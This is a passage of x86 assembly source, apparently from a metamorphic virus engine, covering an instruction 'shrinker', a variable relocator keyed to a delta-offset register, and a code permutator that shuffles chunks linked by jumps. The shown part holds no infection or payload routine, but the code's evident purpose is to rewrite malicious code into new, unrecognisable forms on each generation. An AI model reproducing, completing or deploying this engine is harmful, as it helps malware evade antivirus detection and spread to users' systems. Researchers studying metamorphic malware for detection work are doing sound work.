@xxx? jb @@Double_End cmp eax, 7Fh ja @@Double_End mov al, [esi+1] mov ebx, eax ; If source and destiny in CMP aren't mov al, [esi+7] ; the same, it's not a camuflated JMP cmp eax, ebx jnz @@Double_End mov eax, [edi] ; Check flags when we jump for sure and eax, 07h ; and when the two instructions do cmp eax, 1 ; nothing. jz @@Double_Next32_JMP cmp eax, 6 jz @@Double_Next32_JMP mov eax, [edi] and eax, 0Fh cmp eax, 2 jbe @@Double_Next32_NOP cmp eax, 4 jbe @@Double_Next32_JMP cmp eax, 0Ah jz @@Double_Next32_JMP cmp eax, 0Dh jz @@Double_Next32_JMP @@Double_Next32_NOP: mov eax, 0FFh ; Set NOP in JO,JB,JNZ,JA,JS,JNP,JL,JG mov [edi], eax jmp @@EndCompressed @@Double_Next32_JMP: mov eax, 0E9h ; Set JMP in JNO,JAE,JZ,JBE,JNS,JP,JGE,JLE mov [edi], al mov edx, edi ; After the jump, we eliminate all the instructions until the next labelled ; instruction. That instructions are never executed, so we NOP them to avoid ; its reassembly. @@Double_Next32_EliminateNonReachableCode: add edx, 10h cmp edx, [ebp+AddressOfLastInstruction] jae @@EndCompressed mov al, [edx+0Bh] ; Check label mark or eax, eax jnz @@EndCompressed mov eax, 0FFh mov [edx], eax jmp @@Double_Next32_EliminateNonReachableCode @@Double_Next33: cmp eax, 39h+80h ; Do the same with CMP Reg8,Reg8 jz @@Double_Next32_Common @@Double_End: ;; Here we check triplets of instructions and merge them into one. @@Check_Triple: mov edx, esi mov esi, edi call IncreaseEIP cmp edi, [ebp+AddressOfLastInstruction] jz @@EndNoCompressed xor eax, eax mov al, [edi+0Bh] or eax, eax jnz @@EndNoCompressed ; No compress if a label is pointing ; the last instruction ; Check triplet in [edx],[esi],[edi] @@Triple_Next00: ;xor eax, eax mov al, [edx] cmp eax, 43h ; MOV Mem,Reg? jnz @@Triple_Next01 mov eax, [edx+1] ; Check mem operands cmp eax, [esi+1] jnz @@Triple_Next01 mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_Next01 mov eax, [edi] cmp al, 42h ; 3rd instruction == MOV Reg,Mem? jz @@Triple_Next00_Constr00 cmp al, 70h ; 3rd instr. == Jcc? jb @@Triple_Next01 cmp al, 7Fh ja @@Triple_Next01 mov eax, [esi] and eax, 0F8h ; Get the comparision or eax, eax jz @@Triple_Next00_Maybe01 cmp eax, 28h ; SUB? jz @@Triple_Next00_Maybe01 cmp eax, 38h ; CMP? jz @@Triple_Next00_Maybe01 cmp eax, 48h ; TEST? jz @@Triple_Next00_Maybe01 cmp eax, 20h ; AND? jnz @@Triple_End @@Triple_Next00_Maybe01: xor ebx, ebx @@Triple_Next00_CheckCMPTEST: mov eax, [esi] ; Get the operation being performed and eax, 07Fh cmp eax, 48h ; If test, jump jb @@Triple_Next00_CheckCMPTEST_00 and eax, 7 cmp eax, 2 ; Check if it's OP Reg,Mem jz @@Triple_Next00_CMPTESTRegReg jmp @@Triple_Next00_CheckCMPTEST_01 @@Triple_Next00_CheckCMPTEST_00: and eax, 7 cmp eax, 3 ; Check if it's OP Mem,Reg jz @@Triple_Next00_CMPTESTRegReg @@Triple_Next00_CheckCMPTEST_01: cmp eax, 4 ; Check if it's OP Mem,Imm jnz @@Triple_End @@Triple_Next00_CMPTESTRegImm: mov eax, [edx+7] mov [esi+1], al ; Set CMP/TEST Reg,Imm ; xor ebx, ebx @@Triple_Next00_SET_CMPTEST: mov eax, [esi] and eax, 78h cmp eax, 48h ; Check TEST jz @@Triple_Next00_SetInstruction cmp eax, 20h ; Check AND jz @@Triple_Next00_Cont80 cmp eax, 38h ; Check CMP jz @@Triple_Next00_SetInstruction or eax, eax ; Check ADD (maybe is a conversion jz @@Triple_Next00_NegateImm ; of SUB Reg,Imm) @@Triple_Next00_SetCMP: mov eax, 38h ; Set CMP if it's SUB/CMP jmp @@Triple_Next00_SetInstruction @@Triple_Next00_NegateImm: mov eax, [esi+7] neg eax ; If it's ADD is because I converted the mov [esi+7], eax ; SUB as a single instruction before jmp @@Triple_Next00_SetCMP @@Triple_Next00_Cont80: mov eax, 48h ; Set TEST if it's TEST/AND @@Triple_Next00_SetInstruction: add eax, ebx mov [esi], al mov eax, 0FFh mov [edx], al jmp @@EndCompressed @@Triple_Next00_CMPTESTRegReg: mov eax, [esi] and eax, 78h or eax, eax ; ADD? jz @@Triple_End ; If so, finish mov eax, [esi+7] mov [esi+1], al mov eax, [edx+7] mov [esi+7], al add ebx, 1 jmp @@Triple_Next00_SET_CMPTEST @@Triple_Next00_Constr00: mov eax, [esi] cmp al, 4Ch ; Common OP? ja @@Triple_Next01 xor ebx, ebx @@Triple_Next00_Common: mov eax, [esi] and eax, 78h ; Get instruction cmp eax, 48h ; If it's not TEST, finish jb @@Triple_Next00_Common_00 mov eax, [esi] and eax, 7 cmp eax, 2 ; Check TEST Reg,Mem jz @@Triple_Next00_Maybe00 jmp @@Triple_Next00_Common_01 @@Triple_Next00_Common_00: mov eax, [esi] and al, 7 cmp al, 3 ; Check OP Mem,Reg jz @@Triple_Next00_Maybe00 @@Triple_Next00_Common_01: cmp al, 4 ; Check OP Mem,Imm jnz @@Triple_End @@Triple_Next00_Maybe00: mov eax, [edx+1] ; Check the Mem operand among the cmp eax, [esi+1] ; instructions jnz @@Triple_End cmp eax, [edi+1] jnz @@Triple_End mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_End cmp eax, [edi+3] jnz @@Triple_End mov eax, [edx+7] cmp al, [edi+7] jnz @@Triple_End mov eax, [esi] and eax, 78h cmp eax, 48h ; Get if it's TEST jb @@Triple_Next00_00 mov eax, [esi] and eax, 7 ; Check TEST Reg,Mem cmp eax, 2 jz @@Triple_Next00_Maybe_OPRegReg ; Jump here if it is jmp @@Triple_Next00_01 @@Triple_Next00_00: mov eax, [esi] and eax, 7 ; Check OP Mem,Reg cmp eax, 3 jz @@Triple_Next00_Maybe_OPRegReg @@Triple_Next00_01: mov eax, [edx+7] mov [edx+1], al mov eax, [esi+7] mov [edx+7], eax mov eax, [esi] and eax, 78h add eax, ebx ; Set the instruction with the EBX @@Triple_Next_SetInstruction: ; operands type (Reg,Imm, Reg,Reg, etc.) mov [edx], al @@Triple_Next_SetNOP: mov eax, 0FFh mov [esi], al mov [edi], al ; Eliminate the 2nd and 3rd instruction jmp @@EndCompressed @@Triple_Next00_Maybe_OPRegReg: mov eax, [esi+7] mov [edx+1], eax mov eax, [edi+7] mov [edx+7], eax mov eax, [esi] and eax, 0F8h ; Set CMP/TEST Reg,Reg add eax, 1 jmp @@Triple_Next_SetInstruction @@Triple_Next01: mov eax, [edx] cmp al, 43h+80h ; Check the same as above, but this jnz @@Triple_Next02 ; time with 8 bits instructions. Since mov eax, [edx+1] ; there are many different opcodes, cmp eax, [esi+1] ; it's not worthy to try to merge it jnz @@Triple_Next02 ; with the routine above, but all the mov eax, [edx+3] ; others that check the possibility of cmp eax, [esi+3] ; compression are from there, linking jnz @@Triple_Next02 ; the possibilities with Jccs. mov eax, [edi] cmp al, 42h+80h jz @@Triple_Next01_Constr00 cmp al, 70h jb @@Triple_Next02 cmp al, 7Fh ja @@Triple_Next02 mov eax, [esi] and eax, 0F8h cmp eax, 00h+80h jz @@Triple_Next01_Maybe01 cmp eax, 28h+80h jz @@Triple_Next01_Maybe01 cmp eax, 38h+80h jz @@Triple_Next01_Maybe01 cmp eax, 48h+80h jz @@Triple_Next01_Maybe01 cmp eax, 20h+80h jnz @@Triple_End @@Triple_Next01_Maybe01: mov ebx, 80h jmp @@Triple_Next00_CheckCMPTEST @@Triple_Next01_Constr00: mov ebx, 80h mov eax, [esi] cmp al, 4Ch+80h ja @@Triple_Next02 ; Well, at least we achieved to cmp al, 00h+80h ; use as many instructions from the jae @@Triple_Next00_Common ; @@Triple_Next00 as we can :) @@Triple_Next02: mov eax, [edx] cmp al, 4Fh ; MOV Mem,Mem? jnz @@Triple_Next03 mov eax, [edi] cmp al, 70h ; Jcc in 3rd? jb @@Triple_Next02_ContCheck cmp al, 7Fh ja @@Triple_Next02_ContCheck mov ebx, [edx+7] ; Get the destiny address and check mov eax, [ebx+1] ; if first and second instruction cmp eax, [esi+1] ; use the same operand. jnz @@Triple_End mov eax, [ebx+3] cmp eax, [esi+3] jnz @@Triple_End mov eax, [esi] and eax, 78h ; Check for comparisions: cmp eax, 20h ; AND? jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 28h ; SUB? jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 38h ; CMP? jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 48h ; TEST? jnz @@Triple_Next03 @@Triple_Next02_CheckCMPTESTRegMem: @@Triple_Next02_CheckCMPTESTMemReg: mov eax, [edx+1] mov [esi+1], eax mov eax, [edx+3] mov [esi+3], eax mov eax, 0FFh mov [edx], eax mov eax, [esi] and eax, 78h cmp eax, 38h ; CMP? jz @@EndCompressed cmp eax, 48h ; TEST? jz @@EndCompressed cmp eax, 20h ; AND? jz @@Triple_Next02_SetTEST mov ebx, 10h ; Transform from SUB to CMP @@Triple_Next02_ConvertInstruction: mov eax, [esi] ; Set the instruction add eax, ebx mov [esi], eax jmp @@EndCompressed @@Triple_Next02_SetTEST: mov ebx, 28h ; Transform from AND to TEST jmp @@Triple_Next02_ConvertInstruction @@Triple_Next02_ContCheck: ;mov al, [edi] cmp al, 4Fh ; Check the 3rd instruction for a jnz @@Triple_Next03 ; common operation mov eax, [esi] cmp al, 4Ch ; Check now the 2nd instruction jbe @@Triple_Next02_CommonOperation cmp al, 00h+80h ; Check if it's 8 bits instructions jb @@Triple_Next03 cmp al, 4Ch+80h ja @@Triple_Next03 @@Triple_Next02_CommonOperation: cmp eax, 0F6h ; Check for APICALL_STORE jz @@Triple_Next02_OPMemReg and eax, 78h cmp eax, 48h ; Check for a common instruction jb @@Triple_Next02_00 mov eax, [esi] and eax, 7 cmp eax, 2 ; Check if it's OP Reg,Mem in 2nd jz @@Triple_Next02_OPMemReg jmp @@Triple_Next02_01 @@Triple_Next02_00: mov eax, [esi] and eax, 7 cmp eax, 3 ; Check if it's OP Mem,Reg in 2nd jz @@Triple_Next02_OPMemReg @@Triple_Next02_01: cmp eax, 4 ; OP Mem,Imm? jnz @@Triple_End @@Triple_Next02_OPMemImm: @@Triple_Next02_OPMemReg: mov ebx, [edx+7] mov eax, [ebx+1] cmp eax, [edi+1] ; Check Mem operands to see if the jnz @@Triple_End ; instructions use the same one (if cmp eax, [esi+1] ; not, we can't compress them, jnz @@Triple_End ; obviously) mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Triple_End cmp eax, [esi+3] jnz @@Triple_End mov ebx, [edi+7] mov eax, [ebx+1] cmp eax, [edx+1] jnz @@Triple_End mov eax, [ebx+3] cmp eax, [edx+3] jnz @@Triple_End mov eax, [edx+1] ; Set the new Mem operand mov [esi+1], eax mov eax, [edx+3] mov [esi+3], eax @@Triple_Next_SetNOP_1_3: mov eax, 0FFh mov [edx], al mov [edi], al ; Overwrite with NOP the first and jmp @@EndCompressed ; third instruction, since we used ; the second one to put the new ; instruction. @@Triple_Next03: mov eax, [edx] cmp al, 44h ; Check for MOV Mem,Imm jnz @@Triple_Next04 mov eax, [edi] cmp al, 42h ; MOV Mem,Imm + xxx + MOV Reg,Mem? jz @@Triple_Next03_Constr00 cmp al, 70h ; Jcc in 3rd? jb @@Triple_Next04 cmp al, 7Fh ja @@Triple_Next04 mov eax, [esi] @@Triple_Next03_Check_CMP_TEST: cmp al, 3Ah ; CMP Reg,Mem (8 or 32 bits) jz @@Triple_Next03_CMPRegImm cmp al, 4Ah ; TEST Reg,Mem (" " " ") jnz @@Triple_End @@Triple_Next03_CMPRegImm: @@Triple_Next03_TESTRegImm: mov eax, [esi] ; Get 2nd instruction and eax, 0F8h ; Convert it to OP Reg,Imm mov [edx], al ; Set it at 1st instruction mov eax, [esi+7] mov [edx+1], al mov eax, 0FFh mov [esi], al jmp @@EndCompressed @@Triple_Next03_Constr00: mov eax, [esi] cmp eax, 0F6h ; Check if it's APICALL_STORE jz @@Triple_Next03_Common_F6 cmp al, 4Ch ; Check if it's a common operation ja @@Triple_Next04 @@Triple_Next03_Common: and eax, 78h cmp eax, 48h ; Common operation? jb @@Triple_Next03_00 mov eax, [esi] and eax, 7 cmp eax, 2 ; Check if it's OP Reg,Mem jz @@Triple_Next03_Common_F6 jmp @@Triple_End @@Triple_Next03_00: mov eax, [esi] and eax, 7 cmp eax, 3 ; OP Mem,Reg? jnz @@Triple_End @@Triple_Next03_Common_F6: mov eax, [edx+1] ; If the Mem operands are the same, cmp eax, [esi+1] ; merge them jnz @@Triple_End cmp eax, [edi+1] jnz @@Triple_End mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_End cmp eax, [edi+3] jnz @@Triple_End mov eax, [esi+7] mov [edx+1], eax mov eax, [esi] and eax, 0F8h jmp @@Triple_Next_SetInstruction @@Triple_Next04: mov eax, [edx] cmp al, 44h+80h ; Same as above, but 8 bits instructs. jnz @@Triple__Next04 mov eax, [edi] cmp al, 42h+80h jz @@Triple_Next04_Constr00 cmp al, 70h jb @@Triple__Next04 cmp al, 7Fh ja @@Triple__Next04 mov eax, [esi] sub al, 80h jmp @@Triple_Next03_Check_CMP_TEST @@Triple_Next04_Constr00: mov eax, [esi] cmp al, 00h+80h jb @@Triple__Next04 cmp al, 4Ch+80h jbe @@Triple_Next03_Common @@Triple__Next04: @@Triple_End: jmp @@EndNoCompressed ; If we didn't found any single, ; pair or triplet, end with flag of @@EndCompressed: ; "not found" mov eax, 1 pop edi ret @@EndNoCompressed: xor eax, eax pop edi ret ShrinkThisInstructions endp ;; This routine checks if the pseudoopcode passed uses a memory operand, ;; returning EAX = 1 if uses it, or 0 if it doesn't CheckIfInstructionUsesMem proc cmp eax, 4Eh ; Common op? jbe @@Common cmp eax, 4Fh ; MOV Mem,Mem --> return TRUE jz @@UsesMem cmp eax, 70h ; If 50/51/58/59 --> return bit 0 jb @@CheckLastBit cmp eax, 80h ; Common 8 bits operations? jb @@NoMem cmp eax, 0CEh jbe @@Common cmp eax, 0E7h ; From E0 to E7 (NOT/NEG) -> return bit 0 jbe @@CheckLastBit cmp eax, 0EAh ; CALL Mem? jz @@UsesMem cmp eax, 0EBh ; JMP Mem? jz @@UsesMem cmp eax, 0F1h ; SHIFT Mem? jz @@UsesMem cmp eax, 0F3h ; SHIFT Mem8? jz @@UsesMem cmp eax, 0F6h ; APICALL_STORE? jz @@UsesMem cmp eax, 0F7h jz @@UsesMem cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]? jz @@UsesMem cmp eax, 0FCh ; LEA? jz @@UsesMem @@NoMem: xor eax, eax ; Return FALSE ret @@CheckLastBit: and eax, 1 ; Return bit 0 ret @@Common: cmp eax, 4Eh ; Temporal info-transferring opcode jz @@UsesMem and eax, 7 cmp eax, 2 jb @@NoMem cmp eax, 4 ; OP Reg,Mem / OP Mem,Reg / OP Mem,Imm? ja @@NoMem ; If not, return FALSE @@UsesMem: mov eax, 1 ret CheckIfInstructionUsesMem endp ;; This function merges the Imms passed in ECX and EDX depending on the ;; operations passed in EBX and EAX. The return values are the result of ;; merging the operations. For example, if we pass MOV EAX,1234 / ADD EAX,5 ;; then the returned operation will be MOV EAX,1239. It's also made for ;; ADD + ADD/SUB and many more. If the operation can't be joined then the ;; return value is 0FEh. If there are no merging, but the first instruction ;; does nothing (for example, ADD EAX,1234 / MOV EAX,5 --> MOV EAX,5) then ;; the return value is NOP. ; In: ;; ECX = First Imm ;; EDX = 2nd Imm ;; EAX = First OP ;; EBX = 2nd OP (in lower 8 bits) ; Out: ;; ECX = Value to OP ;; EAX = OP to perform ;; FEh if it isn't shrinkable. ;; FFh if we must eliminate 1st instruction and leave 2nd invariable. CalculateOperation proc ;; ADC & SBB aren't treated since they aren't used by the engine. and ebx, 0FFh and eax, 0FFh cmp ebx, 40h ; If 2nd instruction is MOV, eliminate 1st jz @@Eliminate1st cmp eax, 40h ; First instruction == MOV? jz @@MOV ; Then, do the merge or eax, eax ; ADD? jz @@ADD cmp eax, 8 ; OR? jz @@OR cmp eax, 20h ; AND? jz @@AND cmp eax, 28h ; SUB? jz @@SUB cmp eax, 30h ; XOR? jz @@XOR cmp eax, 38h ; CMP jz @@Eliminate1st cmp eax, 48h ; TEST jnz @@Eliminate1st jmp @@NoCompression ; Check a merging with the ADD as first instruction @@ADD: or ebx, ebx ; 2nd instr. ADD? jz @@ADD_ADD ; Then, merge cmp ebx, 28h ; 2nd instr. SUB? jz @@ADD_SUB ; Then, merge jmp @@NoCompression ; Exit with no compression ; Try the merging with OR @@OR: cmp ebx, 8 ; 2nd instruction == OR? jz @@OR_OR ; Merge OR / OR jmp @@NoCompression ; Exit with no compression @@AND: cmp ebx, 20h ; Check AND / AND jz @@AND_AND ; If it is, merge ANDs jmp @@NoCompression ; Exit with no compression @@SUB: or ebx, ebx ; Check SUB / ADD or SUB / SUB jz @@SUB_ADD cmp ebx, 28h jnz @@NoCompression ; Exit with no compression @@SUB_SUB: neg ecx ; Merge the SUBs into a single operation: sub ecx, edx ; -(1st) - 2nd = ADD Imm xor eax, eax ret @@SUB_ADD: sub edx, ecx ; 2nd - 1st = ADD Imm mov ecx, edx xor eax, eax ret @@XOR: cmp ebx, 30h ; XOR / XOR? jz @@XOR_XOR ; Then merge XORs jmp @@NoCompression ; If it's not XOR, don't merge @@MOV: or ebx, ebx ; MOV / ADD? jz @@MOV_ADD cmp ebx, 8 ; MOV / OR? jz @@MOV_OR cmp ebx, 20h ; MOV / AND? jz @@MOV_AND cmp ebx, 28h ; MOV / SUB? jz @@MOV_SUB cmp ebx, 30h ; MOV / XOR? jz @@MOV_XOR @@NoCompression: mov eax, 0FEh ; Set "no compression" return value ret @@Eliminate1st: mov eax, 0FFh ; Set NOP to first instruction (and leave the ret ; second instruction untouched) @@ADD_ADD: @@MOV_ADD: add ecx, edx ; MOV + ADD or ADD + ADD = Add both Imms ret @@OR_OR: ; MOV + OR or OR + OR = OR both Imms @@MOV_OR: or ecx, edx ret @@AND_AND: ; MOV + AND or AND + AND = AND both Imms @@MOV_AND: and ecx, edx ret @@ADD_SUB: ; MOV + SUB or ADD + SUB = SUB 2nd Imm from @@MOV_SUB: sub ecx, edx ; first Imm ret @@XOR_XOR: ; MOV + XOR or XOR + XOR = XOR both Imms @@MOV_XOR: xor ecx, edx ret CalculateOperation endp ;; This function merges two flag checks (like JNZ/JA, for example) to get a ;; direct check to use in a conditional jump. ;; In: ;; EAX = Flag to check 1 ;; EBX = Flag to check 2 ;; Out: ;; EAX = Direct flag (+70h = 7xh, opcode of Jcc) ;; = 79h if unconditional jump is performed (+70h = E9h, opcode of JMP) ;; = 0FFh if no direct flag can be used ;; This function only tests the flags that are coded by this engine (not all ;; the possible types). ;; ;; Checks can be merged as: ;; ;; X(even) + X+1 = JMP(unconditional) ;; NB(3) + E(4) = NB(3) ;; NB(3) + A(7) = NB(3) ;; E(4) + A(7) = NB(3) ;; ;; B(2) + A(7) = NE(5) ;; B(2) + NE(5) = NE (5) ;; NE(5) + A(7) = NE(5) ;; ;; B(2) + E(4) = BE(6) ;; B(2) + BE(6) = BE(6) ;; E(4) + BE(6) = BE(6) ;; ;; NB(3) + BE(6) = JMP(unconditional) ;; NE(5) + BE(6) = JMP (unconditional) GetRealCheck proc cmp eax, ebx jb @@1 mov ecx, ebx mov edx, eax jmp @@2 @@1: mov ecx, eax mov edx, ebx @@2: test ecx, 1 ; ECX <= EDX jnz @@NoUnconditional sub edx, 1 ; If Jcc1 == 7x and Jcc2 == 7x+1, it's an cmp ecx, edx ; unconditional JMP (for example, jz @@UnconditionalJump ; opcodes 74h/75h (JZ/JNZ), etc. add edx, 1 @@NoUnconditional: cmp ecx, edx ; If Jcc1 == Jcc2, the result is the same Jcc jz @@ReturnCurrent cmp ecx, 2 ; JB? jz @@Check2_x cmp ecx, 3 ; JAE? jz @@Check3_x cmp ecx, 4 ; JZ? jz @@Check4_x cmp ecx, 5 ; JNZ? jnz @@NoOption ;; Check merge with JNZ @@Check5_x: cmp edx, 7 ; JNZ + JA? jz @@SetNE ; Then, set JNZ cmp edx, 6 ; JNZ + JBE? jz @@UnconditionalJump ; Then, set JMP (unconditional) jmp @@NoOption ; If there isn't any of these options, it ; can't be compressed ;; Check merge with JB @@Check2_x: cmp edx, 4 ; If 2nd < 4, it can't be compressed jb @@NoOption cmp edx, 7 ; If 2nd > 7, it can't be compressed ja @@NoOption test edx, 1 ; JB + JNZ/JA = JNZ jnz @@SetNE jmp @@SetBE ; JB + JZ/JBE = JBE ;; Check merge with JAE @@Check3_x: cmp edx, 4 ; JAE + JZ = JAE jz @@SetNB cmp edx, 7 ; JAE + JA = JAE jz @@SetNB cmp edx, 6 ; JAE + JBE = JMP jz @@UnconditionalJump jmp @@NoOption ; Others can't be compressed ;; Check merge with JZ @@Check4_x: cmp edx, 6 ; JZ + JBE = JBE jz @@SetBE cmp edx, 7 ; JZ + JA = JAE/JNB jnz @@NoOption ; jmp @@SetNB @@SetNB: mov eax, 3 ; Set JAE ret @@SetNE: mov eax, 5 ; Set JNZ ret @@SetBE: mov eax, 6 ; Set JBE ret @@NoOption: mov eax, 0FFh ; Set "no compression" @@ReturnCurrent: ret @@UnconditionalJump: mov eax, 79h ; Set JMP ret GetRealCheck endp ;; ;; ;; End of shrinker ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!VarIdent ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The variable identificator ;; -------------------------- ;; ;; Little function that substitutes all the variables referenced along the ;; code by pointers to a table. These pointers will allow later the ;; repositioning of all the variables that are used by the whole code. It's ;; much like the label tables for displacement instructions, but this time ;; for variable referencing. ;; ;; The variables are identified by using the function from the shrinker ;; CheckIfInstructionUsesMem() (which returns EAX true or false) and when ;; the variable only has DeltaRegister as the index. ;; ;; ;; ECX = Delta offset register (must be known) ;; [VariableTable] = Address of buffer to store variables ;; [NumberOfVariables] = Place to store the number of variables ;; IdentifyVariables proc mov esi, [ebp+InstructionTable] mov edi, [ebp+VariableTable] xor eax, eax mov [ebp+NumberOfVariables], eax ; Initialization @@LoopGetVar: xor eax, eax ; Get the instruction mov al, [esi] ; Check if it's LEA cmp eax, 0FCh ; If it is, don't take it in account jz @@NextInstruction call CheckIfInstructionUsesMem ; Get the usage of Mem by ; this instruction. or eax, eax ; EAX = 0? jz @@NextInstruction ; Then, it doesn't mov al, [esi+1] ; Get first index cmp eax, ecx ; Delta register? jz @@DeltaOffsetAt1 ; If it's, jump mov al, [esi+2] ; Get the second index cmp eax, ecx ; Delta register? jz @@DeltaOffsetAt2 ; If it's, jump @@NextInstruction: add esi, 10h ; Next instruction cmp esi, [ebp+AddressOfLastInstruction] ; Last instr.? jnz @@LoopGetVar ; If not, jump jmp @@SelectNewVariables ; Jump to regarble the variables. @@DeltaOffsetAt1: mov al, [esi+2] ; Get the index where the Delta jmp @@Continue_01 ; register wasn't @@DeltaOffsetAt2: mov al, [esi+1] @@Continue_01: cmp eax, 8 ; Is it another index? jnz @@NextInstruction ; If it is, don't change it. mov eax, [esi+3] ; Get addition. mov edx, [ebp+VariableTable] ; Get the variable table mov ebx, [ebp+NumberOfVariables] ; Get the counter of ; variables. sub eax, [ebp+_DATA_SECTION] ; Get the offset inside the and eax, 0FFFFFFF8h ; data_section @@LookForVariable: or ebx, ebx ; If we haven't found the variable jz @@InsertVariable ; already inserted, insert it cmp eax, [edx] ; Check if it exists jz @@VariableExists ; If exists, jump add edx, 4 ; Check next variable sub ebx, 4 jmp @@LookForVariable @@InsertVariable: ; Insert the variable in the table mov [edx], eax ; and use EDX as the new variable mov eax, [ebp+NumberOfVariables] ; entry add eax, 4 mov [ebp+NumberOfVariables], eax @@VariableExists: mov eax, 00000809h ; Set the index 9, which means mov [esi+1], eax ; "variable identifier". mov [esi+3], edx ; Variable address at table jmp @@NextInstruction @@SelectNewVariables: mov ecx, 20000h / 4 ; Initialize the table of marks mov edi, [ebp+VarMarksTable] ; for variables. This helps xor eax, eax ; us to select new variables. @@LoopInitializeMarks: mov [edi], eax ; Initialize with 0s all the table add edi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopInitializeMarks ;; Now what we are going to do is to get all the variables from the variable ;; table and select a new offset inside the DATA_SECTION for every one. In ;; this way the variables never point to the same place nor have a proportion ;; between them. mov ecx, [ebp+NumberOfVariables] ; Get the table in EBX, mov ebx, [ebp+VariableTable] ; ECX = number of entries @@LoopGetNewVar: call Random ; Select a new position and eax, 01FFF8h add eax, [ebp+VarMarksTable] ; Get the mark of the var. mov edx, [eax] ; Is that address already reserved? or edx, edx jnz @@LoopGetNewVar ; If it is, select another one mov edx, 1 ; Reserve that variable to avoid the mov [eax], edx ; reselection of the offset sub eax, [ebp+VarMarksTable] push ebx ; Get the offset inside DATA_SECTION mov ebx, eax call Random ; Add a random from 0 to 3 and eax, 3 add eax, ebx pop ebx mov [ebx], eax ; Set the new address of the variable add ebx, 4 sub ecx, 4 ; Next variable or ecx, ecx ; Have we reached the end? jnz @@LoopGetNewVar ; If not, loop again ret ; Return IdentifyVariables endp ;; ;; ;; End of variable identificator ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!Permutator ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The permutator ;;--------------- ;; ;; The code here will divide in chunks of code all the disassembled made ;; before, and then linked with jumps. All the labels are also fixed, so ;; the returned permutation could be reassembled without problems. ;; ;; First, the table is generated, then shuffled and after that used to copy ;; the instructions in the order the table says. The table will be generated ;; taking the first instruction address as the beginning of the frame ;; generator, and then creating pairs of "beginnings" and "ends" of portions, ;; for example: x000-x020h, x020h-x070h, x070h-x140h, etc. ;; ;; We keep in every shuffle loop the situation of the first chunk of code, ;; since it's the entrypoint. Moreover, when making the portions we scan for ;; some specific instructions that it's better to not fragment (for example, ;; CALL [API_Address] and APICALL_STORE). ;; PermutateCode proc xor eax, eax mov [ebp+NumberOfJumps], eax ; Initialize this mov edi, [ebp+FramesTable] mov ecx, [ebp+AddressOfLastInstruction] mov eax, [ebp+InstructionTable] mov esi, eax sub ecx, eax ; Number of instructions * 10h @@NextFrame: call Random ; Get a random number between F0h and 1E0h and eax, 0F0h add eax, 0F0h mov [edi], esi ; Set the beginning of the first frame add esi, eax mov [edi+4], esi ; Set the end as beginning+the random mov ebx, esi @@LoopCheckInst00: sub ebx, 10h ; Get the last instruction cmp ebx, [edi] ; If we meet the first instruction, stop jz @@CheckInst_Next00 mov edx, [ebx] ; Get the pseudoopcode and edx, 0FFh cmp edx, 0FFh ; Is it NOP? jz @@LoopCheckInst00 ; Then decrease again (ignore it) cmp edx, 0EAh ; API CALL? jnz @@CheckInst_Next00 ; If not, finish @@LoopCheckInst01: add ebx, 10h ; Get the next address cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last jz @@CheckInst_Next00 ; instruction, finish mov edx, [ebx] ; Get the opcopde and edx, 0FFh cmp edx, 0FFh ; NOP? jz @@LoopCheckInst01 ; If NOP, loop again cmp edx, 0F6h ; Check for APICALL_STORE jnz @@CheckInst_Next00 ; If it isn't, continue add ebx, 10h ; Include APICALL_STORE in the frame sub ebx, esi add eax, ebx add esi, ebx mov [edi+4], esi @@CheckInst_Next00: mov ebx, esi ; Get the address of the last jmp @@DontAdd10hYet ; instruction of the frame and jump @@LoopCheckInst02: add ebx, 10h ; Next instruction @@DontAdd10hYet: cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last jz @@CheckInst_Next01 ; instruction, finish loop mov edx, [ebx] and edx, 0FFh cmp edx, 0FFh ; NOP? jz @@LoopCheckInst02 ; If NOP, get the next instruction cmp edx, 0E9h ; JMP? jz @@CheckInst_IncludeInstruction cmp edx, 0FEh ; RET? jz @@CheckInst_IncludeInstruction cmp edx, 0EBh ; JMP Mem? jz @@CheckInst_IncludeInstruction cmp edx, 0EDh ; JMP Reg? jz @@CheckInst_IncludeInstruction cmp edx, 70h ; Jcc? jb @@CheckInst_Next01 cmp edx, 7Fh ja @@CheckInst_Next01 ;; Include the next instructions in the same frame: ;; JMP: Include it to avoid strange situations where Jcc + JMP cannot be ;; compressed and then never eliminated (or something like that) ;; (3D problems :) ;; RET: The same: we avoid situations where a single RET is pointed by a ;; jump. ;; JMP Mem: Same as RET. ;; JMP Reg: Same as RET. ;; Jcc: To avoid unlinking it from its CMP/TEST from before, and then making ;; the shrinker to eliminate a single CMP/TEST. @@CheckInst_IncludeInstruction: add ebx, 10h ; Add instructions to the frame until all push ebx ; the conflictive instructions are inserted sub ebx, esi ; in the same frame. The others don't add eax, ebx ; matter if they are wherever we want. add esi, ebx mov [edi+4], esi pop ebx jmp @@DontAdd10hYet @@CheckInst_Next01: add edi, 8 ; Increase the frame pointer sub ecx, eax cmp ecx, 01E0h ; Are we inside our last instructions? jae @@NextFrame ; If we aren't, 